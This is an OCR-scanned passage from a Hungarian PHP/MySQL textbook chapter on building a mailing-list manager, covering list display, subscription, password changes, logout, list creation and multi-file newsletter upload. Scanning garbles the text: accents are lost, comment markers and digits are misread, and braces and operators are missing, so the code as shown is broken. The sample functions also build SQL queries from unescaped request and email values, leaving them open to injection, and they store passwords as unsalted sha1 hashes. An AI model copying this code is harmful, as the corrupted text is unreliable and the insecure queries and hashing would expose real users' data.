paramterknt: 'informacio', 'archivum-megjelen i tese' s 'feliratkozas '.A gomb_megjelenitese()


fggvny hasznlatval ezeknek a mveleteknek a nevt tartalmaz s a hozzjuk rendelt mveletet kivlt gombokat kapunk.
A megjelents mveletek mindegyike az elemek_megjelenitese() fggvnyt hvja meg, azonban klnbz mdon
teszik ezt, amit jl lthatunk, ha visszalapozunk ezekhez a mveletekhez. Nem csak ms cmekkel s mveletgombokkal dol
goznak, hanem ms-ms fggvnnyel lltjk el a megjelentend elemek tmbjt.Az ..sszes lista megjelentse" az osszes_
lista_lekerese(), az.Egyb listk megjelentsi' a nem_feliratkozott_listak_le kerese(), a .. Sajt listk meg

jelentse" pedig a feliratkozott_listak_lekerese () fggvnyt hasznlja. Mind a hrom fggvny hasonlkppen


mkdik, s mind az mlm_fuggvenyek. php fggvnyknyvtrban tallhat meg.
Nzzk meg a nem_feliratkozott_listak _lekerese () fggvny kdjt, mivel ezt a pldt kvettk idig! A kdot
a 30.8 pldakdban talljuk.
30.8 pldakd: Az mlm_fuggvenyek.phpknyvtr nem_feliratkozott_listak_lekerese ()fggvnye- Afgg
vny azon levelezlistk tmbjt hozza ltre, amelyekre afelhasznl nem iratkozottfel
function nem_feliratkozott_listak_lekerese($email)
$lista = array();

495

496

30. fejezet

$lekerdezes

"SELECT listak.listaiD,

listanev,

email FROM listak

LEFT JOIN al listak on listak.listaiD = al listak.listaiD


AND email='".$email."' WHERE email IS NULL
ORDER BY listanev";

lf($kapcsolat=adatbazishoz kapcsolodas())
$eredmeny

$kapcsolat->query($lekerdezes);

if (! $eredmeny)

echo '<p>Nem sikerlt lekrni az adatbzisbl a listt.</p>';


return false;

$num

30

$eredmeny->num_rows;

for($i = 0;

$i<$num;

$i++)

$sor = $eredmeny->fetch_array();
array_push($lista,

array($sor[O],

$sor[l]));

return $lista;

A fenti kdbl is lthat, hogy a fggvny e-mail cmet vr paramterknt. Ez annak a felhasznlnak az e-mail cme kell,
hogy legyen, akivel ppen dolgozunk. A feliratkozott_listak_le kerese () fggvnynek is e-mail cmet kell param
terknt tadni, viszont az osszes_lista_lekerese() fggvny- rthet mdon- ezt nem ignyli.
A felhasznl e-mail cmnek birtokban kapcsoldunk az adatbzishoz, s vesszk az sszes olyan levelezlistt, amelyre
a felhasznl nincsen feliratkozva. LEFT JOIN, vagyis bal sszekapcsols alkalmazsval keressk meg az adon felttelnek
meg nem felel tteleket, majd ciklussal vgiglpkednk az eredmnyen, s az array_push () beptert fggvnnyel soron
knt ltrehozzuk a tmbt.
Most, hogy megrudtuk, hogyan lehet ltrehozni ezt a listt, nzzk meg az ezekhez a kpernykhz tartoz gombokat!

Listainformcik megjelentse
A 30.7 brn lthat "Informci" gomb az, informacie' mveletet vltja ki, mgpedig a kvetkezkppen:
case 'informacio':
informacio_megjelenitese($_GET['id']);
break;

Az informaeia _megjelenitese() fggvny meghvsnak eredmnyt a 30.8 brn lthaguk.


A fggvny ltalnos informcit kzl az adon levelezlistrl, majd kirja a feliratkozott felhasznlk szmt, illetve a lis
tra kikldn s az archvumban elrhet hrlevelek szmt (errl rvidesen majd bvebben is olvashatunk). A fggvny kdjt
a 30.9 pldakdban lthag uk.
30.9 pldakd: A kimeneti_fuggvenyek.php knyvtr informacie_megjel eni tes() fggvnye- A fggvny a lis
tkhoz kapcsold informcikat jelenti meg
function informacio_megjelenitese($listaiD)
if (! $listaiD)

return false;

$info=lista info_betoltese($listaiD);

if($info)
echo

<h2>".formazas($info[listanev]) ."</h2>
"

Levelezlista-kezel alkalmazs fejles:ztse

497

<p>".formazas($info[leiras]) ."
</p><p>Feliratkozottak szma:".Sinfo[felhasznalok] ."
</p><p>Hrlevelek szma az archvumban:"
.Sinfo[archivum] ."</p>";

30
30.8 bra: Az informacie _megj elenitese() rvid lerst kzl az adott levelezlistrl.

Az informacie _megj elenitese () fggvny kt msik fggvny segtsgvel ltja el feladatt. E:z a kt fgg
vny a lista_info_betoltese() s a formazas ().Az elbbi visszakeresi az adatbzisbl a megfelel adatokat.
A formazas() fggvny egyszeren formzza az adatbzisbl szrmaz adatokat: eltvoleja a perjeleket, HTML sortrsek

k alaktja

az

jsorokat stb.

Nzzk meg rviden

az

mlm_fuggvenyek.php fggvnyknyvtrban tallhat lista_info_betoltese () fgg

vnyt, amelynek kdjt a 30.10 pldakdban lthatjuk!


30.10 pldakd: Az mlm_fuggvenyek. php knyvtr lista_info_ betoltese O fggvnye- A fggvny a levelezlistrl

meglv informcik tmbjt hozza ltre


ll tltsk be az adatbzisbl a listrl trolt adatokat
function lista_info_betoltese($listaiD)
if (! SlistaiD)

return false;

if(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;

Slekerdezes = "SELECT listanev,


Seredmeny

leiras FROM listak WHERE listaiD='".SlistaiD."'";

$kapcsolat->query($lekerdezes);

if(! $eredmeny)

echo "<p>Nem sikerlt visszakeresni a levelez6listt.</p>";


return false;

$info = $eredmeny->fetch_assoc();

$lekerdezes = "SELECT COUNT(*) FROM al listak WHERE listaiD='".$listaiD."'";


Seredmeny = $kapcsolat->query($lekerdezes);

498

30. fejezet

if($eredmeny)

$sor = $eredmeny->fetch_array();
$info['felhasznalok') = $sor[O];

$lekerdezes

"SELECT COUNT(*) FROM hirlevel WHERE listaiD="'.$listaiD."'


AND allapot='ELKULDOTT'";

$eredmeny = $kapcsolat->query($lekerdezes);
if($eredmeny) {
$sor = $eredmeny->fetch_array();
$info['archivum') = $sor[O];

return $info;

A fggvny hrom adatbzis-lekrdezst futtatva gyjti be a listak tblbl a levelezlistk nevt s lerst, az al_
listak tblbl a feliratkozott felhasznJk szmt, valamint a hirlevel tblbl a kikldtt hrlevelek szmt.

Levelezlistk archvumnak megtekintse


A felhasznJk nem csak az egyes listk lerst, hanem- az.Archvum megjelents' gombra kattintva- az adott levelez
listra elkldtt hrleveket is megtekinehetik. A gomb

az

'archivum-megjelenit ese' mveletet vltja ki, amely pedig az

albbi kdot futtatja:


case 'archivum-megjelenitese':
elemek_megjelenitese(listanev_lekerese($_GET['id')) .'archvuma ',
archivum_lekerese($_GET['id')),
'szoveges-megjelenit ese',

'HTML-megjelenitese',

'');

break;

Ez a fggvny is az elemek_megjelenit ese() meghvsval lisrzza ki az adott levelezlistra kldtt hrleveleket, arni
ket pedig az mlm_fuggvenyek.php knyvtr archvum_lekerese() fggvnyvel keresnk vissza. Ez utbbi fggvny
kdjt a 30.11 pldakdban olvashatjuk.
30.11 pldakd: Az mlm_fuggvenyek.php knyvtr archivum_lekerese ()fggvnye- Afggvny az adott levelezlista

archv hrleveleinek tmbjt hozza ltre


function archivum_lekerese($listaiD)
ll a levelezlista archivlt hrleveleinek tmbjt adja vissza
ll a tmbnek ilyen sorai vannak (hirleveliD,

targy)

$lista = array();
Slistanev = listanev lekerese($listaiD);
$lekerdezes

"SELECT hirleveliD,

targy,

listaiD FROM hirlevel

WHERE listaiD = '".$listaiD."' AND allapot = 'ELKULDOTT'


ORDER

BY

kuldve";

if($kapcsolat=adatbazishoz kapcsolodas())
$eredmeny = $kapcsolat->query($lekerdezes);
if (! $eredmeny)

echo "<p>Nem sikerlt lekrni az adatbzisbl a listt.< lp>";


return false;

Levelezlista-kezel alkalmazs fejlesztse

499

$num = $eredmeny->num_rows;
for($i = 0;

$i<$num;

$i++)

$sor = $eredmeny->fetch_array();
$tomb_sor = array($sor[O],
$listanev,
array_push($lista,

$sor[l),

$listaiD);

$tomb_sor);

return $lista;

Megint csak az trtnik, hogy a fggvny begyjti az adatbzisbl a szksges informcit- jelen esetben az elkldtt hrle
velek adatait-,majd ltrehozza az elemek_megjelenitese() fggvnynek paramterknt tadhat tmbt.

Fel- s leiratkozs
A levelezlistk 30.7 brn lthat listjn mindegyik levelezlisthoz tartozik egy olyan gomb,amire kattintva a felhasznl
feliratkozhat az adott listra. Hasonlkppen, ha a felhasznl a,,S;yt listk megjelentse" gombra kattintva megtekinti azok
nak a levelezlistknak a listjt, amelyekre mr feliratkozott, minden levelezlista mellett egy .,Leiratkozs" gombot lthat.
Ezek a gombok a feliratkozas s a leiratkozas mveletet vltjk ki,amelyek az albbi kdrszleteket hvjk meg:
case 'feliratkozas':
feliratkozas(email_lekerese(),

$_GET['id'));

elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacio',

'archivum-megjelenitese',

'leiratkozas');

break;

case

'leiratkozas':

leiratkozas(email lekerese(),

$_GET['id']);

elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacio',

'archivum-megjelenit ese',

'leiratkozas');

break;

Mindkt esetben egy fggvnyt hvunk meg ( feliratkozas () vagy leiratkozas ()),majd az elemek_
megjelenitese() fggvny ismtelt meghvsval jra megjelentjk azoknak a levelezlistknak a listjt,amelyekre a fel

hasznl feliratkozott.
A feliratkozas() s a leiratkozas() fggvny kdjt a 30.12 pldakdban talljuk
30.12 pldakd: Az mlm_fuggvenyek. php

knyvtr feliratkozas () s leiratkozas ()fggvnye- Ezek afggv


nyek adjk hozz afelhasznlt az adott levelezlisthoz, illetve tvolitjk el arrl
ll e-mail cm hozzadsa a listhoz
function feliratkozas($email,
if((!$email)

l l

l l

(!$listaiD)

$listaiD)

l l

(!letezo_lista($listaiD))

(!letezo_felhasznalo($email) ))

return false;

ll ha mr feliratkozott,

akkor kilps

if(feliratkozott($email,

$listaiD))

return false;

30

500

30. fejezet

if(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;

$lekerdezes = "INSERT INTO al listak VALDES ('".$email."',

$lista!D)";

$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;

ll

e-mail cm eltvoltsa a levelezlistrl

function leiratkozas($email,

30

if (

( 1 $email) l l

$listaiD)

(! $lista!D))

return false;

if

(! ($kapcsolat=adatbazishoz_kapcsolodas()))

return false;

$lekerdezes

"DELETE

FROM al listak WHERE

email='".$email."'

AND listaiD='".$listaiD."'";

$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;

A feliratkozas( ) fuggvny a feliratkozsnak megfelel adatokat tartalmaz sort ad az al_listak tblhoz,


a leiratkozas () fuggvny viszont trli ezt a sort.

A felhasznli fik belltsainak megvltoztatsa


Amikor a.,Fikbelltsok" gombra kattintunk, a 'fiok-bealli tasok' mveletet hvjuk meg. Ennek k<lja a kvetkez:
case 'fiok-beallitasok':
fiok_urlap_megjelenitese(email_lekerese(),
valodi nev_lekerese(email lekerese()),

mime tipus

lekerese(email

lekerese()));

break;

Lthatjuk, hogy jbl a-korbban mr a felhasznli fik ltrehozshoz hasznlt- fiok_urlap_megj elen i tese( )
fuggvnyt hvjuk meg. Jelen esetben azonban a felhasznl meglv adatait adjuk neki t, amelyek a knny szerkeszthetsg
rdekben megjelennek az rlapban. Amikor a felhasznl az rlapkldsi gombra kattint, a korbban mr bemutatott
tarolasa'

'

fiok

mveletet hajtja vgre.

Jelszavak megvltoztatsa
A Jelszvltoztats" gombra kattintssal a felhasznl a 'j elszo-valtoztatas' mveletet hvja meg, amivel az albbi
..

kdot vltja ki:


case

'jelszo-valtoztatas':

jelszo_urlap_megjelenitese();
break;

A kimeneti_fuggvenyek. php knyvtr jelszo _urlap_megjelenitese() fuggvnye pusztn egy rlapot jelent
meg, amit a felhasznl jelszava megvltoztatsra hasznlhat. Az rlapot a 30.9 brn ltjuk.

Levelezlista-kezel alkalmazs fejlesztse

501

30.9 bra: A jelszo_urlap_megjelenitese( ) fggvny lehetsget ad afelhasznlknak jelszavuk megvltoztatsra.


Amikor a felhasznl az rlap aljn lv.,Jelszvltoztats" gombra kattint, a 'jelszo-megvaltoztatasa-tarolasa'
mveletet vltja ki, a melynek a kvetkez a kdja:
case 'jelszo-megvaltoztatasa-tarolasa':
if(jelszo_valtoztatas(email_lekerese(),
$_POST['uj_jelszo'],

$_POST['elozo jelszo'],

$_POST['uj_jelszo2']))

echo "<p style=\"padding-bottom:

SOpx\">OK:

jelszavt megvltoztattuk.</p>";

else
echo "<p style=\"padding-bottom:

SOpx\">Sajnljuk,

jelszavt

nem sikerlt megvltoztatni.<lp>";


jelszo_urlap_megjelenitese();

break;

A fenti sorokbl kiderl, hogy a kd a j elszo _valtoztatas () fggvnnyel prblja meg megvltoztatni a jelszt,
aminek eredmnyrl tjkoztatja a felhasznlt. A 30.13 pldakdban lthat jelszo_valtoztatas () fggvny
a

felhasznaloi_hi telesites fuggvenyek. php fggvnyknyvtrban tallhat.

30.13 pldakd: A felhasznaloi_hi telesi tes_fuggvenyek. php knyvtr jelszo_valtoztatas ()fggvnye


Afggvny ellenrzi s mdostja afelhasznl jelszavt
function jelszo_valtoztatas($email,

$elozo_jelszo,

$uj_jelszo,

$uj_jelszo_megerositese)

ll az e-mail cmhez tartoz jelsz megvltoztatsa jra


ll visszatrsi rtke true vagy false

ll ha az elz jelsz megfelel,


ll akkor uj_Jelszo-ra vltoztatja az elz jelszt,

s true,

ll egybknt false rtkkel tr vissza


if (bejelentkezes($email,

$elozo_jelszo))

if($uj_jelszo==$uj_jelszo_megerositese)
if (!($kapcsolat = adatbazishoz_kapcsolodas()))
return false;

$lekerdezes

"UPDATE felhasznalek
SET jelsze = shal('".$uj_jelszo."')
WHERE email = '".$email."'";

$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;

30

502

30. fejezet

else
echo "<p>A jelszavak nem egyeznek meg.</p>";

else
echo "<p>A rgi jelszava nem megfelel6.</p>";

return false;

// a rgi jelsz nem volt megfelel6

Ez a fggvny igen hasonl a korbban mr ltott jelszvltoztat fggvnyekhez. Ellenrzskppen sszehasonltja a felhasz
nl ltal megadott kt j jelszt, majd egyezsgk esetn megprblja mdostani az adatbzisban a felhasznl jelszavt.

30

Kijelentkezs
A Kijelentkezs" gombra kattint felhasznl a 'kijelentkezes'
"

mveletet vltja ki. A mvelet ltal vgrehajtott, az

index. ph p fjlban lv kd annak elfeldolgozsi rszben tallhat, s a kvetkezkppen nz ki:


if{$muvelet

==

'kijelentkezes')

unset{$muvelet);
S_SESSION=array{);
session_destroy{);

Ez a kdrszlet trli a munkamenet-vltozkat, s megsznteri a munkamenetet. Figyeljk meg, hogy egyttal a muvelet
vltozt is felszabadtja! Ez azt jelenti, hogy mvelet nlkl lpnk be a f case utastsba, az albbi kdot kivltva ezzel:
default:
if{ 1 bejelentkezes ellenorzese{) )

bejelentkezesi_urlap_megjelenitese{$muvelet);

break;

A fenti kd futtatsnak eredmnyeknt brki ms bejelentkezhet, illetve az imnt kilpett felhasznl bejelentkezhet ms
nven.

Adminisztrtori funkcik megvalstsa


A levelezlista-alkalmazs kezeljeknt belp felhasznlk tovbbi menlehetsgekhez frnek hozz; a 30.10 brn ezeket
ltjuk.
Az adminisztrtori funkcik a Lista ltrehozsa" (j levelezlista ltrehozsa), a.Hrlevl ltrehozs' (j hrlevl ltreho
"
zsa) s a.Hrlevl megtekintse" (a mg el nem kldtt hrlevelek megtekintse s kldse) gombbal rhetk el. Nzzk meg

most ezeket egyenknt!

30.10 bra: Az adminisztrtori menvel levelezlistkat hozhatunk ltre, illetve kezelhetjk a meglvket.

Levelezlista-kezel alkalmazs fejlesztse

503

j levelezlista ltrehozsa
Ha az adminisztrtor gy dnt, hogy a Lista ltrehozsa" gombra katrinrva j levelezlistt llt be, a
"
mveletet hajga vgre, ami az albbi kdot hvja meg:

letrehozasa

levelezolista

case 0levelezolista-letrehozasa0:
lista_urlap_megjelenitese(email_lekerese());
break;

A kimeneti_fuggvenyek. php knyvtrban tallhat lista_urlap_megj elenitese() fggvny egy rlapot je


lent meg az adminisztrtor szmra, aki annak meziben megadhaga az j levelezlista adatait. A fggvny pusztn HTML
kimenetet ad, gy rszletesebben most nem foglalkozunk vele. Meghvsnak eredmnyt a 30.11 brn lthatjuk.
Amikor az adminisztrror a"Lista mentse" gombra kattint, a

lista-tarolasa

mveletet vlga ki, ami viszont az

index. php fjl albbi kdrszlett hvja meg:


case 0lista-tarolasa0:
if(lista_tarolasa($_SESSION[0admin_felhasznalo0],
echo "<p style=\"padding-bottom:

elemek_megj elenit ese ( sszes lista


o

$_POST))

SOpx\">Az j lista hozz lett adva.<lp>";


o,

osszes_lista _lekerese()

informacie

o,

0archivum-megjelenitese0, 00);
else
echo "<p style=\"padding-bottom:

SOpx\">A listt nem lehetett eltrolni.


Krjk,

prblja meg jra!<lp>";

break;

30.11 bra: A "Lista ltrehozsa" rlapon az adminisztrtornak az j levelezlista nevt s lerst kell megadnia.
Lthat, hogy a kd megksrli eitroini az j levelezlista adatait, majd megjelenti a levelezlistknak az j elemmel bv
tett listjt. A lista adatait a 30.14 pldakdban lthat lista_tarolasa () fggvnnyel mentjk el.
30.14 pldakd: Az mlm_fuggvenyek. php knyvtr lista_tarolasa ()fggvnye- Ez afggvny szrja be az adatb
zisba az j levelezlistkat
function lista_tarolasa($admin_felhasznalo,
if (!kitoltott($adatok))

$adatok)

echo "<p>Minden mezt ki kell tlteni.

Krjk,

prblja meg jra!<lp>";

return false;
else

if(!admin_felhasznalo_ellenorzese($admin_felhasznalo))

return false;
ll hogy hvta meg ezt a fggvnyt olyan valaki,

if(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;

aki nem adminknt jelentkezett be?

30

504

30. fejezet

'".$adatok['nev'l."'";

$lekerdezes = "SELECT count(*) FROM listak WHERE listanev


$eredmeny

$kapcsolat->query($lekerdezes);

$sor = $eredmeny->fetch_array();
if($sor[Ol

> 0)

echo "<p>Sajnljuk,

ilyen nvvel mr ltezik levelez6lista.</p>";

return false;

$lekerdezes

"INSERT INTO listak VALUES (NULL,


'".$adatok ['nev' l

"',

'".$adatok['leiras' l "'l";
.

30

$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;

A fuggvny csak nmi ellenrzst kveten rja az adatokat az adatbzisba. Elszr is megnzi, hogy minden adatmez ki
lett-e tltve, az aktulis felhasznl valban adminisztrtor-e, illetve egyedi-e a levelezlista neve. Ha minden rendben van, az
j levelezlistt hozzadja az adatbzis listak tbljhoz.

j hrlevl feltltse
Vgre elrkeztnk az alkalmazs velejhez, ami nem ms, mint a hrlevelek feltltse s kikldse a levelezlistkra. Amikor
az adminisztrtor a.,Hrlevl ltrehozsa" gombra kattint, a 'hirlevel-letrehozasa' mveletet vltja ki, amelyhez az
albbi kd tartozik:
case 'hirlevel-letrehozasa':
hirlevel_urlap_megjelenitese(email lekerese());
break;

Az alkalmazs ekkor a 30.12 brn lthat rlapot jelenti meg az adminisztrtornak.

30.12 bra: Az adminisztrtor a .Hrlevl ltrehozsa" oldalon a hrlevlhez szksgesfjlokjeltltsre alkalmas rlapot tall.

Emlkezhetnk r, hogy alkalmazsunk azzal a felttelezssel l, hogy az adminisztrtor korbban mr offline ltrehozta
a hrlevl HTML s szveges verzijt, s klds eltt mindkettt fel fogja tlteni. Ez azzal az elnnyel jr az adminisztrtorok
szmra, hogy az ltaluk kedvelt szoftverben alkothatjk meg hrleveleiket. Levelezlista-kezel alkalmazsunk ennek kszn
heten szlesebb krben lesz hasznlhat.
Az adminisztrtornak srnos mezt ki kell tltenie ezen az rlapon. Elszr a levelezlistt kell kivlasztania az rlap tetejn
tallhat, legrdl menbl. Eze kveten meg kell adni a hrlevl trgyt; ez kerl majd a kikldend e-mail,.Trgy" sorba.

Levelezlista-kezel alkalmazs fejlesztse

505

Az sszes tbbi rlapmez fjlfeltltsre szolgl, amit a mellette lv .Tallzs" gomb is jelez. Hrlevl kldshez az admi
nisztrtornak a szveges s a HTML verzit is fel kell tltenie (ez termszetesen tetszs szerint mdosthat). Az rlapon j
nhny tovbbi kpmez is lthat, amelyekkel az adminisztrtor a HTML verziba begyazott kpeket tltheti fel - ha van
nak ilyenek. Minden egyes llomnyt egyenknt kell kivlasztani s feltlteni.
Ez az rlap nagyon hasonl a szoksos fjlfeltltsekhez hasznltakhoz, a klnbsg annyi, hogy jelen esetben tbb fjl fel
tltsre alkalmas. Ez aprbb mdostsokat ignyel az rlap szintaktikjban, illerve az rlap elkldse utn kicsit mskppen
kell kezelnnk a feltlttt fjlokat.
A hirlevel_urlap_megj elenitese () fggvny kdjt a 30.15 pldakd mutatja.
30.15 pldakd; A kimeneti_fuggvenyek.php

knyvtr hirlevel_urlap_megjelenitese ()fggvnye- Ez

afggvny jelenti meg afjlfeltltsi rlapot


function hirlevel_urlap_megjelenitese($email,

$listaiD=O)

ll htmlrlap megjelenitse az j hrlevl feltltshez

30

global $tablazat_szelessege;
$lista=osszes_lista_lekerese();
$listak=sizeof($lista);

'

?>
<table cellpadding="4" cellspacing="O" border="O"
width="<?php echo $tablazat_szelessege;

?>">

<form enctype="multipart/form-data" action="feltoltes.php" method="post">


<tr>
<td bgcolor="lcccccc">Levelez6lista:</td>
<td bgcolor="lcccccc">
<select name="lista">
<?php
for($i=O;

$i<$listak;

$i++)

echo "<option value=\"".$lista[$i] [0]."\"";


if ($listaiD== $lista[$i l [O l)
echo " kivlasztva";

echo ">".$lista [$i] [l] ."</option>\n";


?>
</select>
<ltd>
</tr>
<tr>
<td bgcolor="lcccccc">Trgy:</td>
<td bgcolor="lcccccc">
<input type="text" name="targy"
value="<?php echo $targy;

?>"

size="60" /></td>
</tr>
<tr>
<td bgcolor="lcccccc">Szveges vltozat:</td>
<td bgcolor="lcccccc">
<input type="file" name="felhasznaloi_fajl[O]" size="60"/></td>
</tr>
<tr><td bgcolor="lcccccc">HTML vltozat:</td>
<td bgcolor="lcccccc">
<input type="file" name="felhasznaloi fajl[l]" size="60" /><ltd>

506

30. fejezet

</tr>
<tr><td bgcolor="lcccccc" colspan="2">Kpek:

(opcionlis)

<?php
$max kepek=lO;
for($i=O;

$i<l0;

$i++)

echo "<tr><td bgcolor=\"lcccccc\">Kp ".($i+l)." <ltd>


<td bgcolor=\"#cccccc\"><input type=\"file\"
name=\"felhasznaloi fajl[".($1+2)."]\" size=\"60\"/></td>
</tr>";
?>
<tr><td colspan="2" bgcolor="#cccccc" align="center">
<input type="hidden" name="max_kepek"

30

value="<?php echo $max_kepek;

?>">

<input type="hidden" name="listaiD"


value="<?php echo $listaiD;

?>">

<?php urlap_gomb_megjelenitese('fajlok-feltoltese');

?>

<ltd>
</form>
</tr>
</table>
<?php

J
Figyeljk meg a fenti kdban, hogy a felelteni kvnt fjlok nevt inputok sorozataknt adjuk meg! Az sszes input file
tpus, s nevk felhasznaloi_fajl [O ]-tl felhasznaloi_faj l [nl-ig megy. Lnyegben ugyangy kezeljk ezeket
az

rlapmezket, ahogyan a jellngyzeteket kezelnnk, s a tmbknl megszokott mdon nevezzk el ket. Ha tetszleges

szm f:ijlt kvnunk felelteni PHP kddal, s szeretnnk, ha tmbknt egyszeren rudnnk kezelni ket, akkor ezt a md
szett rdemes kvetni.
Az rlapot feldolgoz kd vgl hr om t m bt ad eredmnyl. Vizsgljuk meg most ezt a kdot!

Egyszerre tbb fjl feltltsnek kezelse


Emlkezhetnk r, hogy a fjlfeltlt kd kln fjlban tallhat. Ennek a feltoltes.php llomnynak a celjes kdjt
a 30.16 mintakdban olvashatjuk.
30.16 pldakd: feltoltes.php-A hrlevll tr ehozshozszksgesfjlokat Jelt lt kd
<?php

ll ezt a funkeit az extra biztonsg kedvrt


ll kln fjlba helyezzk,
ll ha brmi rosszul sl el,

egyszeren kilpnk

$max_meret = 50000;
include ('beillesztett fuggvenyek.php');
session_start();
ll csak admin felhasznlk tlthetnek fel fjlokat
if(!admin felhasznala_ ellenorzese( ) )

echo "<p>Nincs jogosultsga az oldal hasznlatra.</p>";


exit;

Levelezlista-kezel alkalmazs fejlesztse

507

ll az admin eszkzsor gombjainak belltsa


$gombok = array();
$gombok[0]

'jelszo-megvaltoztatasa';

$gombok[l]

'levelezolista-letrehozasa';

$gombok[2]

'hirlevel-letrehozasa';

$gombok[3]

'hirlevel-megtekintese';

$gombok[4]

'kijelentkezes';

$gombok[5]

'osszes-lista-megjelenitese';

$gombok[6]

'sajat-listak-megjelenitese';

$gombok[7]

'egyeb-listak-megjelenitese';

html_fejlec_letrehozasa('Pyramid-MLM - Fjlfeltlts');

30

eszkozsor_megjelenitese($gombok);
ll ellenrizzk,

hogy az oldalt a megfelel adatokkal hvjuk meg

if((!$_FILES['felhasznaloi_fajl'] ['name'] [0]) ll


(!$_FILES['felhasznaloi_fajl']['name'][l]) ll
(!$_POST[ 'targy'] l l!$_POST['lista']) )
echo "<p>Hiba trtnt:

Nem teljes kren tlttte ki az rlapot.

Csak a kpek opcionlis mezk.


A 'hrlevl trgyra',

a 'szveges verzi'

s a 'HTML verzi' mezok kitltse ktelez.</p>";


html_lablec_megjelenitese();
exit;

$lista

$_POST['lista'];

$targy

$_POST['targy'];

if(! ($kapcsolat=adatbazishoz kapcsolodas()))

echo "<p>Nem sikerlt kapcsoldni az adatbzishoz.</p>";


html_lablec_megjelenitese();
exit;

ll hrlevl adatainak hozzadsa az adatbzishoz


$lekerdezes

"insert into hirlevel values (NULL,


'".$_SESSION['admin_felhasznalo']."',
'".$targy."',
'".$lista."',
'TAROLT',

NULL,

NULL)";

$eredmeny = $kapcsolat->query($lekerdezes);
if(!$eredmeny)

html_lablec_megjelenitese();
exit;

/la MySQL ltal a hrlevlhez rendelt azonost lekrdezse


$hirleveliD

$kapcsolat->insert_id;

508

30. fejezet

if(!$hirlevellDl

html lablec_megjelenitese();
exit;

ll a knyvtr ltrehozsa nem sikerl,

ha ez nem az els archivlt hrlevl

ll ez gy van jl
@mkdir('archivel'.$lista,
ll problmt jelent,

0700);

ha nem sikerl ltrehozni a hrlevlhez tartoz knyvtrat

if(!mkdir('archivel'.$lista.'l'.$hirleveliD,

0700))

html_lablec_megjelenitese{);
exit;

30

ll lpkedjnk vgig a feltlttt fjlok tmbjn!


$i = 0;
while (($_FILES['felhasznaloi faj!']['name'][$i])
($_FILES['felhasznaloi faj!']['name'][$i]
echo "<p>Feltolts:

&&

!='none'))

".$_FILES['felhasznaloi fajl']['name'][$i]."

$ FILES['felhasznaloi_fajl']['size' l [$il." bjt.<lp>";

if ($_FILES['felhasznaloi faj!']['size'][$i]==0)
echo "<p>Hiba trtnt:

a(z) ".$ FILES ['felhasznalc fajl'l['name'l[$il .

" fjl nulla mret ";


$i++;
continue;

if ($ FILES['felhasznaloi faj!']['size'] [$i]>$max_meret)


echo "<p>Hiba tortnt:

a(z) ".$ FILES['felhasznaloi faJl']['name'][$i]."

mrete meghaladja a(z) " .$max_meret." bjtot";


$i++;
continue;

ll szeretnnk ellenrizni,

hogy a feltlttt kp valban kp-e

ll ha a getimagesize() meg tudja hatrozni a mrett,


if(($i>l)

&&

akkor valsznleg az

(!getimagesize($_FILES['felhasznaloi_fajl']['tmp_name'][$i])))

echo "<p>Hiba trtnt:


" hibs,

a(z) ".$ FILES['felhasznaloi faJl']['name'][$i].

vagy nem gif,

jpeg vagy png fjl.<lp>";

$i++;
continue;

ll a file O (a szveges hrlevl) s a file l (a html hrlevl) klnleges eset


if($i==0)

$cel = "archive/".$lista."l".$hirleveliD."/szoveg.txt";
else if($i == l)
$cel

"archive/".$lista."/".$hirleveliD."/index.html";

else
$cel

"archive/".$lista."/".$hirleveliD."/"
.$ FI LES ['felhasznalc faJl']['name'] [$il;

$lekerdezes = "INSERT INTO kepek VALUES ('".$hirleveliD."',

Levelezlista-kezel alkalmazs fejlesztse

509

'".$_FILES['felhasznaloi_fajl' l ['name' l [$i] . "',


'".$_FILES['felhasznaloi_fajl' l ['tipus' l [$i]."')";
$eredmeny

$kapcsolat->query($lekerdezes);

if (!is_uploaded_file($_FILES['felhasznaloi_fajl'] ['tmp_name'] [$i]))


ll lehetsges fjlfeltltsi tmads szlelse
echo "<p>Valami vicces trtnik a(z) "
.$_FILES['felhasznaloi_fajl'] ['name' l." fjllal,

nem tltdik fel.";

html_lablec_megjelenitese();
exit;

move_uploaded_flle($_FILES['felhasznaloi_fajl' l ['tmp_name' l [$i l,

30

$cel);

$i++;

\
elonezet_gomb_megjelenitese($lista,

$hirleveliD,

'HTML-elonezete');

elonezet_gomb_megjelenitese($lista,

$hirleveliD,

'szoveges-elonezete');

gomb_megjelenitese('kuldes',

"&id=$hirleveliD");

echo "<p style=\"padding-bottom:

50px\">&nbsp;<lp>";

html lablec_megjelenitese();
?>

Menjnk vgig lpsrl lpsre a 30.16 pldakd tartalmn l Elszr is munkamenetet indtunk, s ellenrizzk, hogy a fel
hasznl adminisztrtorknt jelentkezett-e be; erre azrt van szksg, mert senki msnak nem kvnjuk megadni a fjlfeltlts
lehetsgt. Szigoran vve a lista s a hirleveliO vltozt is ellenrizni kellene, hogy nincsenek-e bennk nem kvnt
karakterek, de ettl az egyszersg kedvrt eltekintennk.
Ezt kveten elksztjk s elkldjk az oldalfejlceket, majd ellenrizzk, hogy az rlap megfelelen lett-e kitltve. Ez a l
ps azrt klnsen fontos ebben az esetben, mert a felhasznl meglehetsen sszetett rlappal tallta magt szemben.
Ezutn rgztjk az adatbzisban a hrlevelet, majd ltrehozunk trolsra egy knyvtrat az archvumban.
Ezt kveten jn a kd f rsze, ami egyenknt ellenrzi s thelyezi a feltlttt fjlokat. Ez az a rsz, ami egyszerre tbb fjl
feltltse esetn eltr attl, amit eddigi munknk sorn lttunk. Jelen esetben ngy tmbt kell kezelnnk; ezek neve rendre
$_FILES['felhasznalo_fajl'] ['name'],$_FILES['felhasznaloi_fajl'] ['tmp_name'],
$_FILES [ 'felhasznaloi_fajl' l ['size'] s$ _FILES [ 'felhasznaloi_fajl' ] ['type']. Az egyszeres fjl

feltltskor hasznlt, hasonl nev vltozknak felelnek meg, a klnbsg annyi, hogy itt tmbkkel van dolgunk. Az rlapon
